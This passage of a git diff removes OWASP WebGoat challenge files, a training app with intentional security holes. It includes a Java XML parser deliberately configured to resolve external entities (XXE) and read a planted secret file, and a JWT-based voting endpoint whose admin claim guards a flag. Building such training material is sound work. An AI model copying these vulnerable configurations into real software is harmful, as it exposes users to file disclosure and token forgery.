private static final String secretContents = "Congratulations you may now collect your flag";
|
|
||||||
|
|
||||||
static {
|
|
||||||
comments.add(new Comment("webgoat", DateTime.now().toString(fmt), "Silly cat...."));
|
|
||||||
comments.add(new Comment("guest", DateTime.now().toString(fmt), "I think I will use this picture in one of my projects."));
|
|
||||||
comments.add(new Comment("guest", DateTime.now().toString(fmt), "Lol!! :-)."));
|
|
||||||
}
|
|
||||||
|
|
||||||
@PostConstruct
|
|
||||||
@SneakyThrows
|
|
||||||
public void copyFile() {
|
|
||||||
File targetDirectory = new File(webGoatHomeDirectory);
|
|
||||||
if (!targetDirectory.exists()) {
|
|
||||||
targetDirectory.mkdir();
|
|
||||||
}
|
|
||||||
log.info("Copied secret.txt to: {}", targetDirectory);
|
|
||||||
Files.write(secretContents, new File(targetDirectory, "secret.txt"), Charset.defaultCharset());
|
|
||||||
}
|
|
||||||
|
|
||||||
@RequestMapping(method = GET, produces = MediaType.APPLICATION_JSON_VALUE)
|
|
||||||
@ResponseBody
|
|
||||||
public Collection<Comment> retrieveComments() {
|
|
||||||
Collection<Comment> allComments = Lists.newArrayList();
|
|
||||||
Collection<Comment> xmlComments = userComments.get(webSession.getUserName());
|
|
||||||
if (xmlComments != null) {
|
|
||||||
allComments.addAll(xmlComments);
|
|
||||||
}
|
|
||||||
allComments.addAll(comments);
|
|
||||||
return allComments;
|
|
||||||
}
|
|
||||||
|
|
||||||
@RequestMapping(method = POST, consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE)
|
|
||||||
@ResponseBody
|
|
||||||
public AttackResult createNewComment(@RequestBody String commentStr, @RequestHeader("Content-Type") String contentType) throws Exception {
|
|
||||||
Comment comment = null;
|
|
||||||
AttackResult attackResult = failed().build();
|
|
||||||
if (APPLICATION_JSON_VALUE.equals(contentType)) {
|
|
||||||
comment = parseJson(commentStr);
|
|
||||||
comment.setDateTime(DateTime.now().toString(fmt));
|
|
||||||
comment.setUser(webSession.getUserName());
|
|
||||||
comments.add(comment);
|
|
||||||
}
|
|
||||||
if (MediaType.APPLICATION_XML_VALUE.equals(contentType)) {
|
|
||||||
//Do not show these comments to all users
|
|
||||||
comment = parseXml(commentStr);
|
|
||||||
comment.setDateTime(DateTime.now().toString(fmt));
|
|
||||||
comment.setUser(webSession.getUserName());
|
|
||||||
EvictingQueue<Comment> comments = userComments.getOrDefault(webSession.getUserName(), EvictingQueue.create(100));
|
|
||||||
comments.add(comment);
|
|
||||||
userComments.put(webSession.getUserName(), comments);
|
|
||||||
}
|
|
||||||
if (checkSolution(comment)) {
|
|
||||||
attackResult = success().feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(3)).build();
|
|
||||||
}
|
|
||||||
return attackResult;
|
|
||||||
}
|
|
||||||
|
|
||||||
private boolean checkSolution(Comment comment) {
|
|
||||||
if (comment.getText().contains(secretContents)) {
|
|
||||||
comment.setText("Congratulations to " + webSession.getUserName() + " for finding the flag!! Check your original response where you posted the XXE attack ");
|
|
||||||
comments.add(comment);
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static Comment parseXml(String xml) throws Exception {
|
|
||||||
JAXBContext jc = JAXBContext.newInstance(Comment.class);
|
|
||||||
|
|
||||||
XMLInputFactory xif = XMLInputFactory.newFactory();
|
|
||||||
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, true);
|
|
||||||
xif.setProperty(XMLInputFactory.IS_VALIDATING, false);
|
|
||||||
|
|
||||||
xif.setProperty(XMLInputFactory.SUPPORT_DTD, true);
|
|
||||||
XMLStreamReader xsr = xif.createXMLStreamReader(new StringReader(xml));
|
|
||||||
|
|
||||||
Unmarshaller unmarshaller = jc.createUnmarshaller();
|
|
||||||
return (Comment) unmarshaller.unmarshal(xsr);
|
|
||||||
}
|
|
||||||
|
|
||||||
private Comment parseJson(String comment) {
|
|
||||||
ObjectMapper mapper = new ObjectMapper();
|
|
||||||
try {
|
|
||||||
return mapper.readValue(comment, Comment.class);
|
|
||||||
} catch (IOException e) {
|
|
||||||
return new Comment();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
@ -1,39 +0,0 @@
|
|||||||
package org.owasp.webgoat.plugin.challenge3;
|
|
||||||
|
|
||||||
import com.google.common.collect.Lists;
|
|
||||||
import org.owasp.webgoat.lessons.Category;
|
|
||||||
import org.owasp.webgoat.lessons.NewLesson;
|
|
||||||
|
|
||||||
import java.util.List;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author nbaars
|
|
||||||
* @since 3/21/17.
|
|
||||||
*/
|
|
||||||
public class Challenge3 extends NewLesson {
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public Category getDefaultCategory() {
|
|
||||||
return Category.CHALLENGE;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public List<String> getHints() {
|
|
||||||
return Lists.newArrayList();
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public Integer getDefaultRanking() {
|
|
||||||
return 10;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String getTitle() {
|
|
||||||
return "challenge3.title";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String getId() {
|
|
||||||
return "Challenge3";
|
|
||||||
}
|
|
||||||
}
|
|
@ -1,24 +0,0 @@
|
|||||||
package org.owasp.webgoat.plugin.challenge3;
|
|
||||||
|
|
||||||
import lombok.AllArgsConstructor;
|
|
||||||
import lombok.Getter;
|
|
||||||
import lombok.NoArgsConstructor;
|
|
||||||
import lombok.Setter;
|
|
||||||
|
|
||||||
import javax.xml.bind.annotation.XmlRootElement;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author nbaars
|
|
||||||
* @since 4/8/17.
|
|
||||||
*/
|
|
||||||
@Getter
|
|
||||||
@Setter
|
|
||||||
@AllArgsConstructor
|
|
||||||
@NoArgsConstructor
|
|
||||||
@XmlRootElement
|
|
||||||
public class Comment {
|
|
||||||
private String user;
|
|
||||||
private String dateTime;
|
|
||||||
private String text;
|
|
||||||
}
|
|
||||||
|
|
@ -1,17 +0,0 @@
|
|||||||
package org.owasp.webgoat.plugin.challenge4;
|
|
||||||
|
|
||||||
import lombok.extern.slf4j.Slf4j;
|
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
|
||||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author nbaars
|
|
||||||
* @since 5/3/17.
|
|
||||||
*/
|
|
||||||
@AssignmentPath("/challenge/4")
|
|
||||||
@Slf4j
|
|
||||||
public class Assignment4 extends AssignmentEndpoint {
|
|
||||||
|
|
||||||
//just empty, posting the flag will mark the challenge as done as well no need to specify an endpoint here
|
|
||||||
|
|
||||||
}
|
|
@ -1,39 +0,0 @@
|
|||||||
package org.owasp.webgoat.plugin.challenge4;
|
|
||||||
|
|
||||||
import com.google.common.collect.Lists;
|
|
||||||
import org.owasp.webgoat.lessons.Category;
|
|
||||||
import org.owasp.webgoat.lessons.NewLesson;
|
|
||||||
|
|
||||||
import java.util.List;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author nbaars
|
|
||||||
* @since 3/21/17.
|
|
||||||
*/
|
|
||||||
public class Challenge4 extends NewLesson {
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public Category getDefaultCategory() {
|
|
||||||
return Category.CHALLENGE;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public List<String> getHints() {
|
|
||||||
return Lists.newArrayList();
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public Integer getDefaultRanking() {
|
|
||||||
return 10;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String getTitle() {
|
|
||||||
return "challenge4.title";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String getId() {
|
|
||||||
return "Challenge4";
|
|
||||||
}
|
|
||||||
}
|
|
@ -1,16 +0,0 @@
|
|||||||
package org.owasp.webgoat.plugin.challenge4;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author nbaars
|
|
||||||
* @since 4/30/17.
|
|
||||||
*/
|
|
||||||
public class Views {
|
|
||||||
interface GuestView {
|
|
||||||
}
|
|
||||||
|
|
||||||
interface UserView extends GuestView {
|
|
||||||
}
|
|
||||||
|
|
||||||
interface AdminView extends UserView {
|
|
||||||
}
|
|
||||||
}
|
|
@ -1,49 +0,0 @@
|
|||||||
package org.owasp.webgoat.plugin.challenge4;
|
|
||||||
|
|
||||||
import com.fasterxml.jackson.annotation.JsonView;
|
|
||||||
import lombok.Getter;
|
|
||||||
import lombok.Setter;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author nbaars
|
|
||||||
* @since 5/2/17.
|
|
||||||
*/
|
|
||||||
@Getter
|
|
||||||
public class Vote {
|
|
||||||
@JsonView(Views.GuestView.class)
|
|
||||||
private final String title;
|
|
||||||
@JsonView(Views.GuestView.class)
|
|
||||||
private final String information;
|
|
||||||
@JsonView(Views.GuestView.class)
|
|
||||||
private final String imageSmall;
|
|
||||||
@JsonView(Views.GuestView.class)
|
|
||||||
private final String imageBig;
|
|
||||||
@JsonView(Views.UserView.class)
|
|
||||||
private int numberOfVotes;
|
|
||||||
@JsonView(Views.AdminView.class)
|
|
||||||
@Setter
|
|
||||||
private String flag;
|
|
||||||
@JsonView(Views.UserView.class)
|
|
||||||
private boolean votingAllowed = true;
|
|
||||||
@JsonView(Views.UserView.class)
|
|
||||||
private long average = 0;
|
|
||||||
|
|
||||||
|
|
||||||
public Vote(String title, String information, String imageSmall, String imageBig, int numberOfVotes, int totalVotes) {
|
|
||||||
this.title = title;
|
|
||||||
this.information = information;
|
|
||||||
this.imageSmall = imageSmall;
|
|
||||||
this.imageBig = imageBig;
|
|
||||||
this.numberOfVotes = numberOfVotes;
|
|
||||||
this.average = calculateStars(totalVotes);
|
|
||||||
}
|
|
||||||
|
|
||||||
public void incrementNumberOfVotes(int totalVotes) {
|
|
||||||
this.numberOfVotes = this.numberOfVotes + 1;
|
|
||||||
this.average = calculateStars(totalVotes);
|
|
||||||
}
|
|
||||||
|
|
||||||
private long calculateStars(int totalVotes) {
|
|
||||||
return Math.round(((double) numberOfVotes / (double) totalVotes) * 4);
|
|
||||||
}
|
|
||||||
}
|
|
@ -1,124 +0,0 @@
|
|||||||
package org.owasp.webgoat.plugin.challenge4;
|
|
||||||
|
|
||||||
import com.google.common.collect.Maps;
|
|
||||||
import io.jsonwebtoken.*;
|
|
||||||
import org.apache.commons.lang3.StringUtils;
|
|
||||||
import org.springframework.http.HttpStatus;
|
|
||||||
import org.springframework.http.ResponseEntity;
|
|
||||||
import org.springframework.http.converter.json.MappingJacksonValue;
|
|
||||||
import org.springframework.web.bind.annotation.*;
|
|
||||||
|
|
||||||
import javax.annotation.PostConstruct;
|
|
||||||
import javax.servlet.http.Cookie;
|
|
||||||
import javax.servlet.http.HttpServletResponse;
|
|
||||||
import java.util.Collection;
|
|
||||||
import java.util.Date;
|
|
||||||
import java.util.Map;
|
|
||||||
import java.util.concurrent.TimeUnit;
|
|
||||||
|
|
||||||
import static java.util.Comparator.comparingLong;
|
|
||||||
import static java.util.Optional.ofNullable;
|
|
||||||
import static java.util.stream.Collectors.toList;
|
|
||||||
import static org.owasp.webgoat.plugin.Flag.FLAGS;
|
|
||||||
import static org.owasp.webgoat.plugin.SolutionConstants.JWT_PASSWORD;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author nbaars
|
|
||||||
* @since 4/23/17.
|
|
||||||
*/
|
|
||||||
@RestController
|
|
||||||
@RequestMapping("/votings")
|
|
||||||
public class VotesEndpoint {
|
|
||||||
|
|
||||||
private static String validUsers = "TomJerrySylvester";
|
|
||||||
|
|
||||||
private static int totalVotes = 38929;
|
|
||||||
private Map<String, Vote> votes = Maps.newHashMap();
|
|
||||||
|
|
||||||
@PostConstruct
|
|
||||||
public void initVotes() {
|
|
||||||
votes.put("Admin lost password", new Vote("Admin lost password",
|
|
||||||
"In this challenge you will need to help the admin and find the password in order to login",
|
|
||||||
"challenge1-small.png", "challenge1.png", 36000, totalVotes));
|
|
||||||
votes.put("Vote for your favourite",
|
|
||||||
new Vote("Vote for your favourite",
|
|
||||||
"In this challenge ...",
|
|
||||||
"challenge5-small.png", "challenge5.png", 30000, totalVotes));
|
|
||||||
votes.put("Get it for free",
|
|
||||||
new Vote("Get it for free",
|
|
||||||
"The objective for this challenge is to buy a Samsung phone for free.",
|
|
||||||
"challenge2-small.png", "challenge2.png", 20000, totalVotes));
|
|
||||||
votes.put("Photo comments",
|
|
||||||
new Vote("Photo comments",
|
|
||||||
"n this challenge you can comment on the photo you will need to find the flag somewhere.",
|
|
||||||
"challenge3-small.png", "challenge3.png", 10000, totalVotes));
|
|
||||||
}
|
|
||||||
|
|
||||||
@GetMapping("/login")
|
|
||||||
public void login(@RequestParam("user") String user, HttpServletResponse response) {
|
|
||||||
if (validUsers.contains(user)) {
|
|
||||||
Map<String, Object> claims = Maps.newHashMap();
|
|
||||||
claims.put("admin", "false");
|
|
||||||
claims.put("user", user);
|
|
||||||
String token = Jwts.builder()
|
|
||||||
.setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10)))
|
|
||||||
.setClaims(claims)
|
|
||||||
.signWith(SignatureAlgorithm.HS512, JWT_PASSWORD)
|
|
||||||
.compact();
|
|
||||||
Cookie cookie = new Cookie("access_token", token);
|
|
||||||
response.addCookie(cookie);
|
|
||||||
response.setStatus(HttpStatus.OK.value());
|
|
||||||
} else {
|
|
||||||
Cookie cookie = new Cookie("access_token", "");
|
|
||||||
response.addCookie(cookie);
|
|
||||||
response.setStatus(HttpStatus.UNAUTHORIZED.value());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@GetMapping
|
|
||||||
public MappingJacksonValue getVotes(@CookieValue(value = "access_token", required = false) String accessToken) {
|
|
||||||
MappingJacksonValue value = new MappingJacksonValue(votes.values().stream().sorted(comparingLong(Vote::getAverage).reversed()).collect(toList()));
|
|
||||||
if (StringUtils.isEmpty(accessToken)) {
|
|
||||||
value.setSerializationView(Views.GuestView.class);
|
|
||||||
} else {
|
|
||||||
try {
|
|
||||||
Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);
|
|
||||||
Claims claims = (Claims) jwt.getBody();
|
|
||||||
String user = (String) claims.get("user");
|
|
||||||
boolean isAdmin = Boolean.valueOf((String) claims.get("admin"));
|
|
||||||
if ("Guest".equals(user) || !validUsers.contains(user)) {
|
|
||||||
value.setSerializationView(Views.GuestView.class);
|
|
||||||
} else {
|
|
||||||
((Collection<Vote>) value.getValue()).forEach(v -> v.setFlag(FLAGS.get(4)));
|
|
||||||
value.setSerializationView(isAdmin ? Views.AdminView.class : Views.UserView.class);
|
|
||||||
}
|
|
||||||
} catch (JwtException e) {
|
|
||||||
value.setSerializationView(Views.GuestView.class);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return value;
|
|
||||||
}
|
|
||||||
|
|
||||||
@PostMapping(value = "{title}")
|
|
||||||
@ResponseBody
|
|
||||||
@ResponseStatus(HttpStatus.ACCEPTED)
|
|
||||||
public ResponseEntity<?> vote(@PathVariable String title, @CookieValue(value = "access_token", required = false) String accessToken) {
|
|
||||||
if (StringUtils.isEmpty(accessToken)) {
|
|
||||||
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
|
|
||||||
} else {
|
|
||||||
try {
|
|
||||||
Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);
|
|
||||||
Claims claims = (Claims) jwt.getBody();
|
|
||||||
String user = (String) claims.get("user");
|
|
||||||
if (validUsers.contains(user)) {
|
|
||||||
ofNullable(votes.get(title)).ifPresent(v -> v.incrementNumberOfVotes(totalVotes));
|
|
||||||
return ResponseEntity.accepted().build();
|
|
||||||
} else {
|
|
||||||
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
|
|
||||||
}
|
|
||||||
} catch (JwtException e) {
|
|
||||||
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
@ -1,75 +0,0 @@
|
|||||||
/* Component: Posts */
|
|
||||||
.post .post-heading {
|
|
||||||
height: 95px;
|
|
||||||
padding: 20px 15px;
|
|
||||||
}
|
|
||||||
.post .post-heading .avatar {
|
|
||||||
width: 60px;
|
|
||||||
height: 60px;
|
|
||||||
display: block;
|
|
||||||
margin-right: 15px;
|
|
||||||
}
|
|
||||||
.post .post-heading .meta .title {
|
|
||||||
margin-bottom: 0;
|
|
||||||
}
|
|
||||||
.post .post-heading .meta .title a {
|
|
||||||
color: black;
|
|
||||||
}
|
|
||||||
.post .post-heading .meta .title a:hover {
|
|
||||||
color: #aaaaaa;
|
|
||||||
}
|
|
||||||
.post .post-heading .meta .time {
|
|
||||||
margin-top: 8px;
|
|
||||||
color: #999;
|
|
||||||
}
|
|
||||||
.post .post-image .image {
|
|
||||||
width:20%;
|
|
||||||
height: 40%;
|
|
||||||
}
|
|
||||||
.post .post-description {
|
|
||||||
padding: 5px;
|
|
||||||
}
|
|
||||||
.post .post-footer {
|
|
||||||
border-top: 1px solid #ddd;
|
|
||||||
padding: 15px;
|
|
||||||
}
|
|
||||||
.post .post-footer .input-group-addon a {
|
|
||||||
color: #454545;
|
|
||||||
}
|
|
||||||
.post .post-footer .comments-list {
|
|
||||||
padding: 0;
|
|
||||||
margin-top: 20px;
|
|
||||||
list-style-type: none;
|
|
||||||
}
|
|
||||||
.post .post-footer .comments-list .comment {
|
|
||||||
display: block;
|
|
||||||
width: 100%;
|
|
||||||
margin: 20px 0;
|
|
||||||
}
|
|
||||||
.post .post-footer .comments-list .comment .avatar {
|
|
||||||
width: 35px;
|
|
||||||
height: 35px;
|
|
||||||
}
|
|
||||||
.post .post-footer .comments-list .comment .comment-heading {
|
|
||||||
display: block;
|
|
||||||
width: 100%;
|
|
||||||
}
|
|
||||||
.post .post-footer .comments-list .comment .comment-heading .user {
|
|
||||||
font-size: 14px;
|
|
||||||
font-weight: bold;
|
|
||||||
display: inline;
|
|
||||||
margin-top: 0;
|
|
||||||
margin-right: 10px;
|
|
||||||
}
|
|
||||||
.post .post-footer .comments-list .comment .comment-heading .time {
|
|
||||||
font-size: 12px;
|
|
||||||
color: #aaa;
|
|
||||||
margin-top: 0;
|
|
||||||
display: inline;
|
|
||||||
}
|
|
||||||
.post .post-footer .comments-list .comment .comment-body {
|
|
||||||
margin-left: 50px;
|
|
||||||
}
|
|
||||||
.post .post-footer .comments-list .comment > .comments-list {
|
|
||||||
margin-left: 50px;
|
|
||||||
}
|
|
@ -1,12 +0,0 @@
|
|||||||
a.list-group-item {
|
|
||||||
height:auto;
|
|
||||||
}
|
|
||||||
a.list-group-item.active small {
|
|
||||||
color:#fff;
|
|
||||||
}
|
|
||||||
.stars {
|
|
||||||
margin:20px auto 1px;
|
|
||||||
}
|
|
||||||
.img-responsive {
|
|
||||||
min-width: 100%;
|
|
||||||
}
|
|
@ -1,72 +0,0 @@
|
|||||||
<!DOCTYPE html>
|
|
||||||
|
|
||||||
<html xmlns:th="http://www.thymeleaf.org">
|
|
||||||
|
|
||||||
|
|
||||||
<div class="lesson-page-wrapper">
|
|
||||||
<div class="adoc-content" th:replace="doc:Challenge_3.adoc"></div>
|
|
||||||
<link rel="stylesheet" type="text/css" th:href="@{/lesson_css/challenge3.css}"/>
|
|
||||||
<script th:src="@{/lesson_js/challenge3.js}" language="JavaScript"></script>
|
|
||||||
<div class="attack-container">
|
|
||||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
|
||||||
|
|
||||||
<div class="container-fluid">
|
|
||||||
<div class="panel post">
|
|
||||||
<div class="post-heading">
|
|
||||||
<div class="pull-left image">
|
|
||||||
<img th:src="@{/images/avatar1.png}"
|
|
||||||
class="img-circle avatar" alt="user profile image"/>
|
|
||||||
</div>
|
|
||||||
<div class="pull-left meta">
|
|
||||||
<div class="title h5">
|
|
||||||
<a href="#"><b>John Doe</b></a>
|
|
||||||
uploaded a photo.
|
|
||||||
</div>
|
|
||||||
<h6 class="text-muted time">24 days ago</h6>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="post-image">
|
|
||||||
<img th:src="@{images/cat.jpg}" class="image" alt="image post"/>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="post-description">
|
|
||||||
|
|
||||||
</div>
|
|
||||||
<div class="post-footer">
|
|
||||||
<div class="input-group">
|
|
||||||
<input class="form-control" id="commentInput" placeholder="Add a comment" type="text"/>
|
|
||||||
<span class="input-group-addon">
|
|
||||||
<i id="postComment" class="fa fa-edit" style="font-size: 20px"></i>
|
|
||||||
</span>
|
|
||||||
</div>
|
|
||||||
<ul class="comments-list">
|
|
||||||
<div id="list">
|
|
||||||
</div>
|
|
||||||
</ul>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<form class="attack-form" method="POST" name="form" action="/WebGoat/challenge/flag">
|
|
||||||
<div class="form-group">
|
|
||||||
<div class="input-group">
|
|
||||||
<div class="input-group-addon"><i class="fa fa-flag-checkered" aria-hidden="true"
|
|
||||||
style="font-size:20px"></i></div>
|
|
||||||
<input type="text" class="form-control" id="flag" name="flag"
|
|
||||||
placeholder="a7179f89-906b-4fec-9d99-f15b796e7208"/>
|
|
||||||
</div>
|
|
||||||
<div class="input-group" style="margin-top: 10px">
|
|
||||||
<button type="submit" class="btn btn-primary">Submit flag</button>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
</form>
|
|
||||||
|
|
||||||
|
|
||||||
<br/>
|
|
||||||
<div class="attack-feedback"></div>
|
|
||||||
<div class="attack-output"></div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</html>
|
|
@ -1,75 +0,0 @@
|
|||||||
<!DOCTYPE html>
|
|
||||||
|
|
||||||
<html xmlns:th="http://www.thymeleaf.org">
|
|
||||||
|
|
||||||
|
|
||||||
<div class="lesson-page-wrapper">
|
|
||||||
<div class="adoc-content" th:replace="doc:Challenge_4.adoc"></div>
|
|
||||||
<link rel="stylesheet" type="text/css" th:href="@{/lesson_css/challenge4.css}"/>
|
|
||||||
<script th:src="@{/lesson_js/bootstrap.min.js}" language="JavaScript"></script>
|
|
||||||
<script th:src="@{/lesson_js/challenge4.js}" language="JavaScript"></script>
|
|
||||||
<div class="attack-container">
|
|
||||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
|
||||||
<div class="container-fluid">
|
|
||||||
|
|
||||||
<div class="row">
|
|
||||||
|
|
||||||
<div class="well">
|
|
||||||
<div class="pull-right">
|
|
||||||
<div class="dropdown">
|
|
||||||
<button type="button" data-toggle="dropdown" class="btn btn-default dropdown-toggle">
|
|
||||||
<i class="fa fa-user"></i> <span class="caret"></span>
|
|
||||||
</button>
|
|
||||||
<ul class="dropdown-menu dropdown-menu-left">
|
|
||||||
<li role="presentation"><a role="menuitem" tabindex="-1"
|
|
||||||
onclick="javascript:login('Guest')"
|
|
||||||
th:text="Guest">current</a></li>
|
|
||||||
<li role="presentation"><a role="menuitem" tabindex="-1"
|
|
||||||
onclick="javascript:login('Tom')"
|
|
||||||
th:text="Tom">current</a></li>
|
|
||||||
<li role="presentation"><a role="menuitem" tabindex="-1"
|
|
||||||
onclick="javascript:login('Jerry')"
|
|
||||||
th:text="Jerry">current</a></li>
|
|
||||||
<li role="presentation"><a role="menuitem" tabindex="-1"
|
|
||||||
onclick="javascript:login('Sylvester')"
|
|
||||||
th:text="Sylvester">current</a></li>
|
|
||||||
</ul>
|
|
||||||
</div>
|
|
||||||
<div>
|
|
||||||
<p class="text-right">Welcome back, <b><span id="name"></span></b></p>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div>
|
|
||||||
<h3>Vote for your favorite</h3>
|
|
||||||
</div>
|
|
||||||
<div id ="votesList" class="list-group">
|
|
||||||
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<br/>
|
|
||||||
<form class="attack-form" method="POST" name="form" action="/WebGoat/challenge/flag">
|
|
||||||
<div class="form-group">
|
|
||||||
<div class="input-group">
|
|
||||||
<div class="input-group-addon"><i class="fa fa-flag-checkered" aria-hidden="true"
|
|
||||||
style="font-size:20px"></i></div>
|
|
||||||
<input type="text" class="form-control" id="flag" name="flag"
|
|
||||||
placeholder="a7179f89-906b-4fec-9d99-f15b796e7208"/>
|
|
||||||
</div>
|
|
||||||
<div class="input-group" style="margin-top: 10px">
|
|
||||||
<button type="submit" class="btn btn-primary">Submit flag</button>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
</form>
|
|
||||||
|
|
||||||
<br/>
|
|
||||||
<div class="attack-feedback"></div>
|
|
||||||
<div class="attack-output"></div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
</html>
|
|
@ -2,7 +2,6 @@ challenge0.title=WebGoat Challenge
|
|||||||
challenge1.title=Admin lost password
|
challenge1.title=Admin lost password
|
||||||
challenge2.title=Get it for free
|
challenge2.title=Get it for free
|
||||||
challenge3.title=Photo comments
|
challenge3.title=Photo comments
|
||||||
challenge4.title=Voting
|
|
||||||
challenge5.title=Without password
|
challenge5.title=Without password
|
||||||
challenge6.title=Creating a new account
|
challenge6.title=Creating a new account
|
||||||
challenge7.title=Admin password reset
|
challenge7.title=Admin password reset
|
||||||
|
Binary file not shown.
Before Width: | Height: | Size: 8.9 KiB |
@ -1,45 +0,0 @@
|
|||||||
$(document).ready(function () {
|
|
||||||
$("#postComment").on("click", function () {
|
|
||||||
var commentInput = $("#commentInput").val();
|
|
||||||
$.ajax({
|
|
||||||
type: 'POST',
|
|
||||||
url: 'challenge/3',
|
|
||||||
data: JSON.stringify({text: commentInput}),
|
|
||||||
contentType: "application/json",
|
|
||||||
dataType: 'json'
|
|
||||||
}).then(
|
|
||||||
function () {
|
|
||||||
getChallenges();
|
|
||||||
$("#commentInput").val('');
|
|
||||||
}
|
|
||||||
)
|
|
||||||
})
|
|
||||||
|
|
||||||
var html = '<li class="comment">' +
|
|
||||||
'<div class="pull-left">' +
|
|
||||||
'<img class="avatar" src="images/avatar1.png" alt="avatar"/>' +
|
|
||||||
'</div>' +
|
|
||||||
'<div class="comment-body">' +
|
|
||||||
'<div class="comment-heading">' +
|
|
||||||
'<h4 class="user">USER</h4>' +
|
|
||||||
'<h5 class="time">DATETIME</h5>' +
|
|
||||||
'</div>' +
|
|
||||||
'<p>COMMENT</p>' +
|
|
||||||
'</div>' +
|
|
||||||
'</li>';
|
|
||||||
|
|
||||||
getChallenges();
|
|
||||||
|
|
||||||
function getChallenges() {
|
|
||||||
$("#list").empty();
|
|
||||||
$.get("challenge/3", function (result, status) {
|
|
||||||
for (var i = 0; i < result.length; i++) {
|
|
||||||
var comment = html.replace('USER', result[i].user);
|
|
||||||
comment = comment.replace('DATETIME', result[i].dateTime);
|
|
||||||
comment = comment.replace('COMMENT', result[i].text);
|
|
||||||
$("#list").append(comment);
|
|
||||||
}
|
|
||||||
|
|
||||||
});
|
|
||||||
}
|
|
||||||
})
|
|
@ -1,84 +0,0 @@
|
|||||||
$(document).ready(function () {
|
|
||||||
login('Guest');
|
|
||||||
})
|
|
||||||
|
|
||||||
function login(user) {
|
|
||||||
$("#name").text(user);
|
|
||||||
$.ajax({
|
|
||||||
url: "votings/login?user=" + user,
|
|
||||||
complete: function (result, status) {
|
|
||||||
getVotings();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
var html = '<a href="#" class="list-group-item ACTIVE">' +
|
|
||||||
'<div class="media col-md-3">' +
|
|
||||||
'<figure> ' +
|
|
||||||
'<img class="media-object img-rounded" src="images/IMAGE_SMALL" alt="placehold.it/350x250"/>' +
|
|
||||||
'</figure>' +
|
|
||||||
'</div> ' +
|
|
||||||
'<div class="col-md-6">' +
|
|
||||||
'<h4 class="list-group-item-heading">TITLE</h4>' +
|
|
||||||
'<p class="list-group-item-text">INFORMATION</p>' +
|
|
||||||
'</div>' +
|
|
||||||
'<div class="col-md-3 text-center">' +
|
|
||||||
'<h2 HIDDEN_VIEW_VOTES>NO_VOTES' +
|
|
||||||
'<small HIDDEN_VIEW_VOTES> votes</small>' +
|
|
||||||
'</h2>' +
|
|
||||||
'<button type="button" id="TITLE" class="btn BUTTON btn-lg btn-block" onclick="vote(this.id)">Vote Now!</button>' +
|
|
||||||
'<div style="visibility:HIDDEN_VIEW_RATING;" class="stars"> ' +
|
|
||||||
'<span class="glyphicon glyphicon-star"></span>' +
|
|
||||||
'<span class="glyphicon glyphicon-star"></span>' +
|
|
||||||
'<span class="glyphicon glyphicon-star"></span>' +
|
|
||||||
'<span class="glyphicon glyphicon-star-empty"></span>' +
|
|
||||||
'</div>' +
|
|
||||||
'<p HIDDEN_VIEW_RATING>Average AVERAGE<small> /</small>4</p>' +
|
|
||||||
'</div>' +
|
|
||||||
'<div class="clearfix"></div>' +
|
|
||||||
'</a>';
|
|
||||||
|
|
||||||
function getVotings() {
|
|
||||||
$("#votesList").empty();
|
|
||||||
$.get("votings/", function (result, status) {
|
|
||||||
for (var i = 0; i < result.length; i++) {
|
|
||||||
